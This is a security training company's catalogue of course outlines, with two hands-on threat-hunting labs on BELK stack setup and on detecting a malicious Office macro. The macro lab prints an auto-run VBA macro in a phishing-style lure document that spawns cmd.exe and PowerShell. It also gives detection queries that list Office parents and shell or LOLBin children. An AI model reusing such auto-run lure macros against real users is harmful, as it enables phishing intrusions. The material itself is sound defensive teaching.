# 1337 - DCODX Publish Welcome to our public space. {% hint style="info" %} Hello there πŸ‘‹ The blog and the secure coding trainings have been moved to our main websites (links below). Our presentations and talks will still be on this space. Enjoy, and check out our new website @ {% endhint %} {% content-ref url="/pages/-Mct3OBycXMCrB3eiXhI" %} [Research and Talks](/research/talks-events-and-workshops) {% endcontent-ref %} This is the official space of DCODX, where we collect our latest findings, our research and presentation material. Keep an eye on it. We update it regularly. Visit our website to see what we can do for you {% embed url="" %} # Secure Coding Trainings {% hint style="info" %} Hello there πŸ‘‹ The blog and the secure development trainings have been moved to our main websites, so this space will not be updated anymore. {% endhint %} {% embed url="" %} {% hint style="info" %} Enjoy, and check out our new website @ {% endhint %} # WGQL - GraphQL Hacking and Defenses DCODX provides security workshops to help your developers, security teams, and engineers to step up their application security knowledge, exploiting and fixing security issues through full hands-on trainings. ## GraphQL Security 101 ![GraphQL logo](/files/-Lq82Q2aYtH0rhF-CtO1) The workshop is meant for developers, architects and security folks. During the workshop we will learn how to setup a GraphQL project, define a schema, create Query, Mutation and Subscription for a "fake" social network. We will learn what are the main security issues to consider when developing a GraphQL application: * Introspection: information disclosure * /graphql as a single point of failure (DoS attacks) * IDOR * Broken Access control * Injections Once we get familiar with the issues, we will explain how to avoid it and/or fix it. ### Syllabus | Module | Topic | Time | | ------------------------------------- | -------------------------------------------- | ---------- | | | | | | \[1] Intro | | 30 mins | | | GraphQL introduction | | | | GraphQL vs REST API | | | | Common use cases | | | \[2] GraphQL basics | | 1 hour | | | Create a schema | | | | Define operations | | | | Query | | | | Mutation | | | | Subscription | | | | Burp and GraphQL plugins | | | | **LAB** | | | \[3] Security implications in GraphQL | | 1 hour | | | What can go wrong: intro | | | | Introspection | | | | Nested looping queries: DoS | | | | Injections | | | | Broken Access Control | | | | IDOR | | | \[4] Introspection | | 1 hour | | | What’s introspection | | | | How to use it | | | | How to abuse it | | | | How to prevent it | | | | **LAB** | | | \[5] DoS | | 1 hour | | | Nested queries | | | | Loops in schema | | | | Complexity calculation | | | | DoS: Why | | | | How to prevent it | | | | **LAB** | | | \[6] Broken Authorization and IDOR | | 1.30 hours | | | IDOR intro | | | | How to discover IDOR | | | | Introspection is our friend | | | | How to avoid it | | | | Implement correctly authorization in GraphQL | | | | **LAB** | | | \[7] Injections | | 1 hour | | | Not GraphQL issues | | | | Discover possible injections | | | | SQL injections | | | | Command injections | | | | How to prevent it | | | | **LAB** | | Labs available on Github {% embed url="" %} ## Presented at ![](/files/-M-Z94h6J0hgzEwk_osr) {% hint style="info" %} ### Interested? Contact us at {% endhint %} # THBS - Threat Hunting with BELK stack and Sigma rules This is a 3 days full hands-on workshop on how to build a complete Threat Hunting platform and automate security alert using the BELK stack. ![](/files/-LrLDNJGcPC7NUILfDY8) ## Abstract 3 days full hands-on workshop on how to attack and defend a complete recreated company IT landscape. During this workshop the attendees will learn how to use a Threat Hunting platform based on BELK stack, how to detect typical Red Team and adversaries’ attacks based on MITRE ATT\&CK, create automatic alerts and quickly react to contain and eradicate the threats. The Threat Hunting platform will be provided as open source project. ## Complete Abstract Being part of Blue Teams means being continuously looking for suspicious activities that could lead in harmful data breach but being able to react fast after an alert is triggered in not always enough to prevent damage. In this training we want to switch the threat hunter role from reactive to proactive, being able to identify suspicious behaviour and take actions before the systems get fully compromised. To do so we provide a full hands-on training where the attendees, presented with a complete IT landscape that simulates a Red Team exercise or a real attack, will learn how to build and operate a Threat Hunting platform built on top of the (B)ELK stack. Students will deploy Beats and custom script in provided machines to collect and enrich information, will normalize the information using Logstash, present valuable info in a Kibana dashboard and translate Sigma rules to ElastAlert alerts that will be sent over a Slack channel. To understand the different attacks carried out by the platform, each machine will have few scenario that will replicate the MITRE ATT\&CK use cases. ## Some of the scenarios we will go through * Spear phishing attacks and malicious attachments * Malware and C2 server detection * Privilege escalation * Lateral movement * Data exfiltration detection using canaries * Registry manipulation and task creation for persistence * Web application vulnerability exploitation * DDoS attacks Each student will conduct 5 to 8 labs a day. The ELK stack will be provided as open-source project, together with some of the Sigma rules that will be used during the course. ## What will you learn * How to setup a threat hunting platform using the BELK stack * How to collect security and network events from different hosts in the network * How to analyze them using Kibana * How to create automatic rules on security incidents based on the MITRE ATT\&CK framework * How to alert and get more insights on the detected issues * How to react and contain the damage ## What will you need * Docker (docker-compose) with 4GB of RAM * A Slack account * A Windows VM (we suggest Windows 10). During the course a complete simulated environment will be provided. This is needed only for self-study ## Why should people attend this course This course will teach how to create and operate a 100% free Threat Hunting platform based on the ELK stack, getting familiar with the MITRE ATT\&CK and some of the techniques using by attackers to get access to companies’ assets. Small and Medium companies could use this knowledge to enhance their security defense, building a complete Threat Hunting platform without spending a fortune. ## Syllabus | **Module** | **Topic** | **Time** | | -------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------- | | | | | | **\[1] Threat Hunting** | | | | | The TH process | | | | Alerting vs Proactivity | | | | Use cases development (MITRE ATT\&CK) | | | | Information Gathering | | | | Tooling (not only a SIEM) | | | | Red vs Blue Team | | | **\[2] BELK Stack** | | | | | BELK stack introduction | | | | Elasticsearch | | | | Kibana | | | | Logstash | | | | Beats: Packetbeat, WinlogBeat, AuditBeat, FileBeat | | | | ElastAlert | | | **\[3] SIEM and security rules** | | | | | SIEM and Blue Team | | | | Sigma rules | | | | MITRE ATT\&CK and Sigma rules | | | | From Sigma to Elasticsearch: ElastAlert | | | | Alerting on Slack | | | **\[4] Use cases** | | | | | Attacker patterns and behaviors | | | | Hypothesis and IOC | | | | Post-infection investigation through SIEM timeline and Kibana: Event IDs | | | **\[5] Network detection** | | | | | Identify C2 servers | | | | Identify bots and automated activities | | | | Identify data exfiltration using canary | | | | Identify possible phishing domains | | | **\[6] Host threat detection** | | | | |

Identify irregular processes

Identify registry manipulation

Identify privilege escalation techniques

Identify malware and ransomware

Identify abnormal user behavior

| | | **\[7] Web Application Threats** | | | | | Collect web server logs | | | | Identify exploited vulnerabilities (SQL injection, XXE, RCE, LFI, RFI etc) | | | |

Webshells

Phishing domain detection

DDoS attacks

| | Download the setup and try out a few of our labs!! {% embed url="" %} {% hint style="info" %} ### Interested? Contact us at {% endhint %} # LAB 001:Setup In this lab we will learn how to setup the entire stack and how to retrieve the alerts from our threat hunting platform using Slack {% hint style="info" %} During the course each steps and tools are widely explained from the trainers. The VM are also provided to the attendees with the complete setup {% endhint %} ### Prerequisites * Elasticsearch, Kibana and ElastAlert up and running (we will call this machine "Threat Hunting machine") ``` git clone https://github.com/dcodx/belk-threat-hunting cd belk-threat-hunting docker-compose build && docker-compose up ``` * Windows VM up and running (Target Machine). {% embed url="" %} * Slack account ### What's a BELK Stack BELK stands for Beats - Elasticsearch - Logstash - Kibana, and it is a stack of open-source projects that together build one of the most powerful data ingestion, processor and visualisation engine, provided by Elastic. In these labs we will setup the stack to use it as a SIEM for intrusion detection and threat hunting. We will explore how to grow from a simple stack to a more complex and complete one, covering most of the MITRE ATT\&CK scenarios for post infection analysis. Let's start with the Beats. ## Target machine (Windows VM) ### Beats Beats is the platform for single-purpose data shippers. They send data from hundreds or thousands of machines and systems to Logstash or Elasticsearch. Beats are shipped with different modules to collect information from a host in the network. Beats must be installed on the target machine (Windows VM) #### Packetbeat This module will help us collecting network traffic. {% embed url="" %} Steps: 1. Download the plugin 2. Copy the folder in `C:\Program Files` 3. Edit the file `packetbeat.yaml` to point to your running Elasticsearch instance(s) 4. Run it! ![](/files/-LrSqhjhzuLqED75sB20) {% hint style="warning" %} If the service does not start we can debug the error, using the following command from a `cmd.exe` terminal in Administrator mode {% endhint %} `.\packetbeat.exe -c packetbeat.yml -e -v -d "*"` If everything is ok, we should see the logs printed out in the console. To check that our plugin works fine we can check the running services and see if the status is `Running`. ![](/files/-LrSquDNRZMQE4oxZOrM) In your ElasticSearch instance you should be able to query the index: `http://0.0.0.0:9200/packetbeat-*/_search` #### Winlogbeat Fetch logs from the Windows Event Logs and send it to Elasticsearch 1. Download the plugin 2. Extract it and move it to `C:\Program Files` 3. Rename it to `WinLogBeat` 4. Edit the `winlogbeat.yml` adding the url of the Kibana instance and Elasticsearch 5. Run `.\winlogbeat.exe -c winlogbeat.yml` 6. Add the fields to the Kibana dashboard using `.\winlogbeat.exe setup --dashboards` 7. After running the powershell installation, make sure to run the service using `Start-Service winlogbeat` {% hint style="warning" %} If sysmon is not installed on the Windows VM , you must install it yourself. :arrow\_down:[Download](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon) {% endhint %} In your ElasticSearch instance you should be able to query the index: `http://0.0.0.0:9200/winlogbeat-*/_search` #### Auditbeat It allows to analyse running processes, subprocesses and activities on the host machine. {% embed url="" %} If we follow the guide from Elastic, we should have our plugins in `C:\Program Files\` ![](/files/-LrSqznBDWjlgrvvoZT_) In your ElasticSearch instance you should be able to query the index: `http://0.0.0.0:9200/auditbeat-*/_search` ## Threat Hunting machine ### Elasticsearch
"Elasticsearch is the distributed search and analytics engine at the heart of the Elastic Stack. Logstash and Beats facilitate collecting, aggregating, and enriching your data and storing it in Elasticsearch. Kibana enables you to interactively explore, visualise, and share insights into your data and manage and monitor the stack. Elasticsearch is where the indexing, search, and analysis magic happen. Elasticsearch provides real-time search and analytics for all types of data. Whether you have structured or unstructured text, numerical data, or geospatial data, Elasticsearch can efficiently store and index it in a way that supports fast searches. You can go far beyond simple data retrieval and aggregate information to discover trends and patterns in your data. And as your data and query volume grows, the distributed nature of Elasticsearch enables your deployment to grow seamlessly right along with it." (Elastic) A complete guide can be found here {% embed url="" %} ### Kibana
"Kibana is an open source analytics and visualization platform designed to work with Elasticsearch. You use Kibana to search, view, and interact with data stored in Elasticsearch indices. You can easily perform advanced data analysis and visualize your data in a variety of charts, tables, and maps. Kibana makes it easy to understand large volumes of data. It's simple, browser-based interface enables you to quickly create and share dynamic dashboards that display changes to Elasticsearch queries in real time." (Elastic) A complete guide can be found here {% embed url="" %} If we correctly installed Auditbeat and WinLogBeat we should be able to see the new indexes `auditbeat-7.4.0-2019` , `winlogbeat-7.4.0-2019` and `elastalert_status` in the Kibana dashboard at [`http://localhost:5601/app/kibana#/management/kibana/index_pattern?_g=()`](http://localhost:5601/app/kibana#/management/kibana/index_pattern?_g=\(\)) as shown in the screenshot below ![](/files/-LrW5QwAH2nOXSqBhEmF) At the same time we can verify that Elasticsearch can see our target machine, using the SIEM module at [`http://localhost:5601/app/siem#/hosts/allHosts`](http://localhost:5601/app/siem#/hosts/allHosts) ![](/files/-LrW7ItR8uZOoECijW5Z) ### Elastalert "ElastAlert is a simple framework for alerting on anomalies, spikes, or other patterns of interest from data in Elasticsearch. ElastAlert works with all versions of Elasticsearch." If ElastAlert has been initialised correctly, we should see the Alert sign on the left menu ![](/files/-LrSrBr0RfYl99Qar6JG) As we can see, we have already two rules that are loaded from the folder `./elastaler/rule/` we are going to create a simple rule to match any Python instances that is started on the target machine. Ore rule will match any process that is named `Python`. Simple right? {% hint style="success" %} Let's go! {% endhint %} The Kibana UI gives us the possibility to create rules directly in the browser. For now we will use this feature, but in the next lab we will create files on our own and load it in the `rules/` folder of ElastAlert. So, let's create a simple rule like this: ``` alert: - "debug" description: "Detect Python" filter: - query: wildcard: {process.name: '*Python*'} index: auditbeat-* name: Test0 priority: 3 realert: seconds: 1 type: any ``` `alert:debug` : the alert is logged in the ElastAlert logs (not really convenient, so in later we will setup a Slack alerting system) `description`: Simple description of the alert `filter`: This is the main part of our matching rule. In this case we want to catch any process that is created or destroyed, named `Python`. We use the wildcard query so we can match more than just the exact word. `index` : the index form where we want to pull out information. In this case this info comes from `Auditbeat`, so we will use the Auditbeat index `name` : this is the name of the alert, that will be visualised where the alert is published. {% hint style="info" %} make it as explicit as possible {% endhint %} `realert`: can be seconds, minutes, hours, days etc `type:any` : in this case we use all the rules available To test the rule, create a Python file `test.py` with the following code on the target machine ```python while(1): print "hey" ``` and run it with `python.exe test.py` If everything is ok, we should see all the Python processes started in the Kibana dashboard ### Sigma rules The set of rules that we are going to use in these labs are the conversion of the Sigma rules and few custom ones. {% hint style="info" %} What are the Sigma rules? {% endhint %} Written by Florian Roth & Thomas Patzke Sigma is a high level generic language for analytics and one of the best method so far of solving logging signature problem! Sigma decouples rule logic from SIEM vendor and field names and provides a standard way to define rules. Sigma rules are written using the YAML syntax A list of available rules can be found here: {% embed url="" %} In order to convert Sigma rules to vendor/open-source SIEM, conversion tools are available online. A fancy one is [Uncoder.io](https://uncoder.io/). For this lab we are going to use a tool provided by the Sigma creators called `sigmac` #### From Sigma to ElastAlert We are going to use the SigMac tool to translate the Sigma rules to ElastAlert rules. {% embed url="" %} Signac takes in input: * `--target` the alerting tool (or SIEM) we are going to use. In this case `elastalert` * `-c` the configurations to use to convert the Sigma file. To obtain the full list of possible configuration, the tool can be run with the `--list` parameter ```bash ./sigmac --target=elastalert /Users/oc12ys/toolz/sigma/rules/windows/process_creation/win_office_shell.yml -o a.yml -c windows-audit ``` A complete set of rules, already translated can be found here {% embed url="" %} **Test your ElastAlert rule** ElastAlert provides a way to test the defined rules, using the UI and through the CLI tool `elastalert-test-rule`. We strongly suggest using the second option because of we can look easily in the debug logs produced. Because we are using docker, to run the command line tool, we will need to: * SSH into the Docker container /elastalert `docker exec -it elastalert /bin/sh` * run the tool manually loading the rule we want to test and the config file ```bash cd /opt/elastalert/rules; elastalert-test-rule RULE_NAME.yaml --config=../config.yaml ``` After the tool runs the rule over the data, it returns few stats like the number of hits. ![](/files/-LrSrJf6BWsHmcn4nvQH) ### Slack setup * Create a new slack channel (#threat-hunting) {% embed url="" %} * Add a new webhook (Add a new app) ![](/files/-LrSrUYOk8t3VKsLpUh8) * Select the **#threat-hunting** channel ![](/files/-LrSrdWaioiW0H8fuSbN) * Save your webhook URL`https://hooks.slack.com/services/TPD2N[.................]iVSMBBFV5yn` * We can modify username and icon of our bot (optional) Putting all together the final payload will look like: ``` "payload ={\"channel\": \"#threat-hunting\", \"username\": \"webhookbot\", \"text\": \"This is posted to #threat-hunting and comes from a bot named webhookbot.\", \"icon_emoji\": \":alert:\"}" https://hooks.slack.com/services/TPD2NP4NT/BP[..............]VSMBBFV5yn ``` Click `Save settings` to finish the setup ![](/files/-LrSri7KYGDTJDbAl5af) #### Test our slack bot To integrate the slack alerts in our ElastAlert rules, we need to modify the rule as follow: ``` alert: - "slack" slack: slack_webhook_url: "https://hooks.slack.com/services/T[.............................]BBFV5yn" description: "Detect Python" filter: - query: wildcard: {process.name: '*Python*'} index: auditbeat-* name: Test0 priority: 3 realert: seconds: 1 type: any ``` If everything is correctly set, we can launch again the `Python` code. At this point we should receive our alerts in Slack ![](/files/-LrSrsLmJXv8UGyIOJJ8) {% hint style="success" %} Great! You successfully completed the first lab: Setup! {% endhint %} {% hint style="info" %} Interesting? For more info about the full course **** {% endhint %} # LAB 002: Detect a malicious macro In this lab we are going to use the threat hunting platform to detect and analyse the execution of a malicious macro. ## Anatomy of a spear phishing attack A typical spear phishing attack is a targeted attack against one or more profiles of a company. Usually the email looks legit and sent from trusted domains that are not blocked by spam filters. The email includes information specific to the target, including her/his name and role within the company. This increases radically the chances that the victim will open the email and will probably download the attachments. The file attached can be a variety of different file types, but, what we see them most, are the following file types the most recognized: Office documents (Microsoft and others) and PDF ### Malicious macros Malicious macro are often used as a vector to download malware on the target machine and create persistence to give attackers access to the target, move laterally, compromise the whole network and/or exfiltrate information. MITRE ATT\&CK reference {% embed url="" %} ### Setup To detect possible malicious macros we are going to use the lightweight agents provided by Elastic: the Beats. #### Beats used in this lab * WinLogBeat * AuditBeat Check the "LAB001: Setup" if you did not do that yet {% content-ref url="/pages/-LrSps--BzydomkpPn7S" %} [LAB 001:Setup](/trainings/workshop-threat-hunting-with-belk-stack/lab-001-setup) {% endcontent-ref %} ### Attack To create a simulation of a possible spear-phishing attack with a malicious attachment, we created a Word document containing a macro that is activated any time the document is opened. {% hint style="warning" %} we assume that the victim already downloaded the files. {% endhint %} We created a `.docm` file that contains two macros: * AutoExec * Runs `cmd.exe` * AutoOpen * Runs `powershell.exe` Both macros are executed when the document is opened and look exactly like the one below. ```bash Sub AutoExec() ' ' AutoExec Macro ' ' Shell "C:\Windows\System32\cmd.exe" End Sub Sub AutoOpen() ' ' AutoOpen Macro ' ' Shell "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" End Sub ``` The macro is pretty simple, nothing too advanced, but it helps us simulate a typical scenario that we see in most of the phishing attacks we analyse. ![](/files/-LrZmWX_gRQKWkiSTsGD) The document leverage the fact that the content is unreadable and the only way to read it, is to enable the Macro. This is due to the fact that Microsoft Word does not execute Macros if not specifically allowed by the user. Although the trick looks pretty lame, the idea is that soon or later somebody in the company will be tricked into opening the file, but we will be prepared for detecting the threat. {% hint style="info" %} Let's launch the attack: We can simply open the document [Financial-Plan-2019-DCODX.docm](https://app.gitbook.com/s/-LpsUccoL9AvW9-dz-sO/trainings/workshop-threat-hunting-with-belk-stack/Financial-Plan-2019-DCODX.docm) on our target machine (Windows VM). {% endhint %} {% file src="/files/-LrZiTy8PuLXqjlp5fRh" %} Financial Plan 2019 DCODX {% endfile %} ### Detection We want to create a rule that will alert any time an Office document creates a new subprocess, via macros, that could lead to malicious actions. **Sigma** offers already a rule that does that for us. {% embed url="" %} {% hint style="success" %} Let's analyse it. {% endhint %} A list of possible Office files that we are interested in, could be the following ``` - '*\WINWORD.EXE' - '*\EXCEL.EXE' - '*\POWERPNT.exe' - '*\MSPUB.exe' - '*\VISIO.exe' - '*\OUTLOOK.EXE' ``` Each of the processes, have a way to execute commands on the system. Possible malicious actions will be executed using one or more of the following processes: ``` - '*\cmd.exe' - '*\powershell.exe' - '*\wscript.exe' - '*\cscript.exe' - '*\sh.exe' - '*\bash.exe' - '*\scrcons.exe' - '*\schtasks.exe' - '*\regsvr32.exe' - '*\hh.exe' - '*\wmic.exe' - '*\mshta.exe' - '*\rundll32.exe' - '*\msiexec.exe' - '*\forfiles.exe' - '*\scriptrunner.exe' - '*\mftrace.exe' - '*\AppVLP.exe' - '*\svchost.exe' ... ``` {% hint style="info" %} The list is not exhaustive and can be expanded with more processes. {% endhint %} #### Kibana A security analyst, must be able to dig in the complex amount of data that is continuously received from the monitored assets. If we want to manually filter the possible results in Kibana and investigate further, we can use the query: ``` ( process.parent.name : "WINWORD.EXE" or process.parent.name : "EXCEL.EXE" or process.parent.name : "POWERPNT.exe" or process.parent.name : "MSPUB.exe" or process.parent.name : "VISIO.exe" or process.parent.name : "OUTLOOK.exe") and (process.name:"cmd.exe" or process.name:"powershell.exe" or process.name:"wscript.exe" or process.name:"cscript.exe" or process.name:"sh.exe" or process.name:"bash.exe" or process.name:"scrcons.exe" or process.name:"schtasks.exe" or process.name:"regsvr32.exe" or process.name:"hh.exe" or process.name:"wmic.exe" or process.name:"mshta.exe" or process.name:"mshta.exe" or process.name:"rundll32.exe" or process.name:"powershell.exe" or process.name:"msiexec.exe" or process.name:"forfiles.exe" or process.name:"scriptrunner.exe" or process.name:"mftrace.exe" or process.name:"AppVLP.exe" or process.name:"svchost.exe" ) ``` As a result, we can see all the processes that spawn a subprocess included in our list. ![](/files/-LrZiuiXDdFXXEv5Tt1K) We can detect any word file that started cmd.exe #### ElastAlert Now that we know what we are looking for, and how to filter results in the Kibana dashboard, we can automate the full detection process, creating a rule in ElastAlert and receive the alerts in Slack any time a document launches a subprocess included in our list. {% hint style="info" %} Let's create the rule {% endhint %} In this case we want to use the ElastAlert syntax to exactly match our processes. We choose `querystring` to specify the query ```yaml alert: - "slack" slack: slack_webhook_url: "https://hooks.slack.com/services/TPD2N[..............]VSMBBFV5yn" description: "Detect Malicious Office document" filter: - query: query_string: query: (process.parent.name:("WINWORD.EXE" OR "EXCEL.EXE" OR "POWERPNT.exe" OR "MSPUB.exe" OR "VISIO.exe" OR "OUTLOOK.EXE") AND process.name:("cmd.exe" OR "powershell.exe" OR "wscript.exe" OR "cscript.exe" OR "sh.exe" OR "bash.exe" OR "scrcons.exe" OR "schtasks.exe" OR "regsvr32.exe" OR "hh.exe" OR "wmic.exe" OR "mshta.exe" OR "rundll32.exe" OR "msiexec.exe" OR "forfiles.exe" OR "scriptrunner.exe" OR "mftrace.exe" OR "AppVLP.exe" OR "svchost.exe")) index: auditbeat-*,winlogbeat-* name: Office-macro-1 priority: 3 realert: seconds: 1 type: any ``` #### Slack channel alert As soon as our rule matches, we should be able to our alerts in slack in the #threat-hunting channel ![](/files/-LrZjCxWiq7p9ZQ5CxBN) We can see that the rule works fine, matching the right patterns (WORD + powershell in this particular case) ![](/files/-LrZjJFvfrbZQ94rNbqn) The information logged will give us valuable information to conduct a screening on every machine where the file was downloaded. Hash of the file: `Hashes: SHA1=E2EAD0993B917E1828A658ADA0B87E01D5B8424F` Name of the file: `ParentCommandLine: "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\IEUser\Documents\Financial-Plan-2019-DCODX.docm" /o ""` {% hint style="success" %} Great! You successfully completed the second lab: Detect a malicious macro! {% endhint %} {% hint style="info" %} Interesting? For more info about the full course **** {% endhint %} # SSCH - Solidity Smart Contract Hacking Learn how to hack and develop secure smart contracts in our 2 days course ![](/files/iDRBnGV93wCH4a87bH2k) ## Prerequisites Knowledge of the topics below is only recommended but not mandatory for this course. * Blockchain * Blocks and transactions * Smart contracts * Proof of work and proof of stake * Gas * Basic understanding of decentralized applications and their applicability ## Abstract 2 days full hands-on training where you will learn how to identify vulnerabilities in Smart Contracts written in Solidity. During the course, we will go over 8+ labs inspired by the major hacks that saw companies lose millions of dollars, implement Smart Contracts, but also perform security reviews and detect security flaws using manual analysis and automated tools. ## Some of the scenarios we will go through The list below contains some of the vulnerabilities that we will identify and fix in the labs: * Any user can cash out the money from the smart contract * Users can buy the subscription also with any `wei` amount * Any user can check the amount of money stored in the contract address * Reentrancy vulnerability * Block Timestamp Manipulation Vulnerability * Tx.origin: Authorization bypass * Integer Overflow and Underflow * BatchTransfer Overflow (CVE-2018–10299) * Unprotected SELFDESTRUCT * DelegateCall vulnerabilities * ....more ## Syllabus | Module | Topic | Time | | ------------------------------------ | --------------------------------------------------------- | ---- | | **Intro to ETH and smart contracts** | Ethereum | | | | Bitcoin vs Ethereum | | | | A bit of history | | | | The Four stages of development | | | | POW vs POS | | | | Sharding | | | | Beacon Chain | | | | Docking | | | **Smart Contracts** | | | | | Smart Contracts | | | | Ethereum Smart Contracts | | | | EVM | | | | Bytecode analysis | | | | Accounts, Transactions and Gas | | | | Storage, Memory and Stack | | | | Truffle and Remix IDE | | | | **LAB:** Our first smart contract and its vulnerabilities | | | **Smart Contracts part 2** | | | | | Types, Enum and Events | | | | Mappings | | | | Inheritance | | | | Reentrancy vulnerability: the DAO hack | | | | **LAB:** Steal all my money (Reentrancy) | | | | Interfaces | | | | Block Timestamp | | | | **LAB**: Manipulation Vulnerability | | | **Authorization** | | | | | Authorization in Smart Contracts | | | | Open Zeppelin Contracts | | | | Modifiers | | | | **LAB:** Authorization done properly | | | | **LAB:** Tx.origin: Authorization bypass | | | **DoS** | | | | | SELFDESTRUCT | | | | DoS With Block Gas Limit | | | | DoS with Failed Call | | | **More vulnerabilities** | | | | | Integer Overflow and Underflow | | | | **LAB:** Transfer your funds, or mine | | | | **LAB:** BatchTransfer Overflow (CVE-2018–10299) | | | **Libraries** | | | | | Embedded vs Linked libraries | | | | **LAB:** Delegatecall vs Call | | | | **LAB:** Secure your calls | | | **Security auditing** | | | | | Manual vs automated | | | | No code? reverse engineer a contract | | | | Tools: mythril | | | | Tools: slither | | | | The SCW registry | | | | Reporting | | | **Hack them all** | | | | | Final Smart Contract Hacking CTF | | ​ ## Related events ![](/files/gCGqHj9sNqbvdVYTwWKp) {% embed url="" %} Link to the webinar {% endembed %} ## Reserve a spot
πŸ“… 23-24 June (9.30AM - 1.30PM CET) - BETA :man\_teacher: Davide Cioccia :seat:**Registration Closed on Wed June 22**
### More info? Contact us at # TMP - Threat Modelling Professional Learn how to start threat modeling applications without being held off by paperwork. In this course we will introduce the concept of threat modelling for web, cloud and mobile applications. This is a full 8 hours hands-on course where you will learn the practical fundamentals of threat modelling and how to apply it as part of the SSDLC. Learn how to use STRIDE, MITRE ATT\&CK, and OWASP standards to identify threats in your applications. ![](/files/750PXA8K9gHavz0Gz8Vm) ## Prerequisites * Interest in security ## Target audience * Security Engineers * Security Champions * DevOps * Developers * Cloud Engineers / Operations * Product Owners ## Abstract Threat modeling is one of the most important activities in secure software development. This course is designed to give students a practical understanding of Threat Modeling, through whiteboard exercises, real case scenarios, tools, and techniques available in the security industry. The course is project-oriented. Students will go over hands-on labs together with the trainer and solve some of the challenges presented. During the course, other concepts like Secure Coding Principles, Security Requirements, Agile Threat Modelling, Threat Modelling as Code, and Cloud Security will be introduced. This is to ensure that students have a complete overview of the differences and the output of each phase. ## Syllabus
ModuleTopicTime
Secure Software Development Lifecycle
From SDLC to SSDLC (shift left)
OWASP Top 10 2021 introduction
Design Review, Threat Model and secure CI/CD pipeline introduction
DevOps to DevSecOps: how to
Secure design
Secure Design principles
OWASP ASVS V4
From user cases to abuse cases
From abuse cases to security requirements
LAB: OWASP SKF introduction
Practical Threat Modelling
The STRIDE framework: what is it and how to use it
Threat rating methodologies (CVSS , DREAD)
Threat actor centric modeling Approach (MITRE ATT&CK)
LAB: Whiteboard exercise
Web application threat model
Cloud Threat Modelling
Differences between Cloud and Web Threat Modelling
The Egregious Eleven (CSA)
Tesla in depth practical example
Cloud Security Requirements
CSA Cloud Control Matrix: How to use it
STRIDE and the Egregious Eleven for Cloud environments
AWS Threat Modelling
LAB: Whiteboard exercise
Cloud Security Threat Modelling
Mobile Threat Model
OWASP MASVS
Top Threats in Mobile applications: OWASP Top 10
STRIDE for Mobile applications
LAB: Whiteboard exercise
Android Application Threat Model
Agile Threat Model
Threat Model for DevSecOps
Rapid and Continuous Threat Modelling Assessment: microservices
LAB: Hands-onThreat Model as Code

Automate your remediation tests: BDD testing


LAB: Hands-onBuild your first BBD test in Cucumber
Tools and technologies
Documentation
How to store threats, issues and remediations
Confluence and JIRA
## Why should you attend this course? This course will teach how to start securing application and cloud infrastructure as early as possible, giving you the knowledge and the tools required to perform Threat Model exercises with your team. {% hint style="info" %} ### More info? Contact us at {% endhint %} # SCP - Writing Secure Code in PHP Learn how to write secure code in PHP, identifying vulnerable patterns ![](/files/A1Tw4s7ZcTXv6OBNclL8) PHP is one of the most famous languages in the world. Magento, WordPress, Drupal, and Joomla are written in PHP. Whether you are developing an extension for a blog or a complete e-commerce platform, knowing what vulnerable patterns look like is crucial for writing secure code. This course will guide you through different scenarios that will let you understand how attackers look at the code and applications. We will look at vulnerabilities and remediations from a developer's point of view, equipping you with the right knowledge and tools to support you in each phase of the software development lifecycle. "SCP - Writing secure code in PHP" is a course for developers, security engineers, or professionals that want to improve their skills in PHP secure code reviews and vulnerability exploitation. The training is based on the OWASP standards such as the OWASP Top 10 2021 and the OWASP ASVS v4. ![IDOR vulnerability in PHP. Example from the course](/files/KAu5N4vO0JOhPFMHzHPA) ## Prerequisites * Knowledge about PHP fundamentals * Basic knowledge of Laravel * Basic knowledge of SQL syntax * Interest in security ## Target audience * Security Engineers * Security Champions * DevOps * Developers ## Tools used * Any IDE * Docker (docker-compose) * Burp Suite Community edition * Semgrep * Coffee or Tea β˜•οΈ ## Syllabus
ModuleTopicDetails
The hacking mindset
How attackers will look at your applications
Secure coding introduction
Secure coding principles
From SDLC to SSDLC
OWASP Top 10 2021
OWASP ASVS and security requirements
CVSS: how to rate vulnerabilities
Exploiting the client side
LAB: DOM Cross Site Scripting (XSS)
LAB: Reflected Cross Site Scripting (XSS)
LAB: Stored Cross Site Scripting (XSS)
LAB: CORS misconfigurations
LAB: Security Headers (Attacking CSP)
LAB: Client side open redirect
Authentication
Authentication Mechanisms in PHP and Laravel
Protecting routes
Authorization and Access Control
LAB: Broken Access Control
LAB: Type Juggling attacks on hashing functions
LAB: Mass Assignment
LAB: Insecure Direct Object Reference
LAB: Path Traversal
LAB: CSRF (Cross Site Request Forgery)
Server Side Injections
LAB: SQL injections
LAB: Command injection
LAB: Code Injection
LAB: XML External Entities
LAB: Server-Side Request Forgery
LAB: Server Side Template Injections in Twig
Vulnerable and Outdated Components
The importance of SCA (Static Component Analysis)
LAB: Detecting known vulnerabilities using Snyk
Integrate SCA in the CI/CD pipeline
Detecting vulnerabilities in Laravel using SCA
Scanning your code using Semgrep
Semgrep basics
LAB: Semgrep for PHP: How to write rules
Semgrep automation
## Why should you attend this course? This course will teach you the inside out of exploiting and securing PHP applications via real-life examples. If you are a PHP developer / DevOps this is the course for you. {% hint style="info" %} ### More info? Contact us at {% endhint %} # SCJS - Writing Secure Code in JavaScript Learn how to write secure code in JavaScript and TypeScript, on both client and server-side ![](/files/WKP4G6tRsEBcP273onpM) If you want to learn how to exploit simple and complex vulnerabilities in NodeJs and React JS applications, you are in the right place. We will look at their exploitation from the hacker angle and at their remediations from a developer's point of view. At the end of the training, you will be equipped with the right knowledge and tools to embed security in each phase of the software development lifecycle. "JSCP - Writing secure code in JavaScript" is a course for developers, security engineers, or professionals that want to improve their skills in performing secure code reviews, pull requests security peer reviews, and vulnerabilities exploitation on applications written in JavaScript. The training is based on the OWASP standards such as the OWASP Top 10 2021 and the OWASP ASVS v4 and includes references to real-world vulnerabilities, bug bounties, and famous hacks. The labs presented in the course have different levels of complexity, in order to meet the need of any type of audience, from beginners to advanced. ![Code example of a reflected XSS from our hands-on labs](/files/uw1R37JfGU2VZ6Ld48E4) ## Prerequisites * Knowledge of JavaScript or TypeScript for both client and server-side programming * Familiar with frontend JS frameworks (ReactJS, Vue.js ...) * Interest in security ## Target audience * Security Engineers * Security Champions * DevOps * Developers ## Tools used * Any IDE * Docker 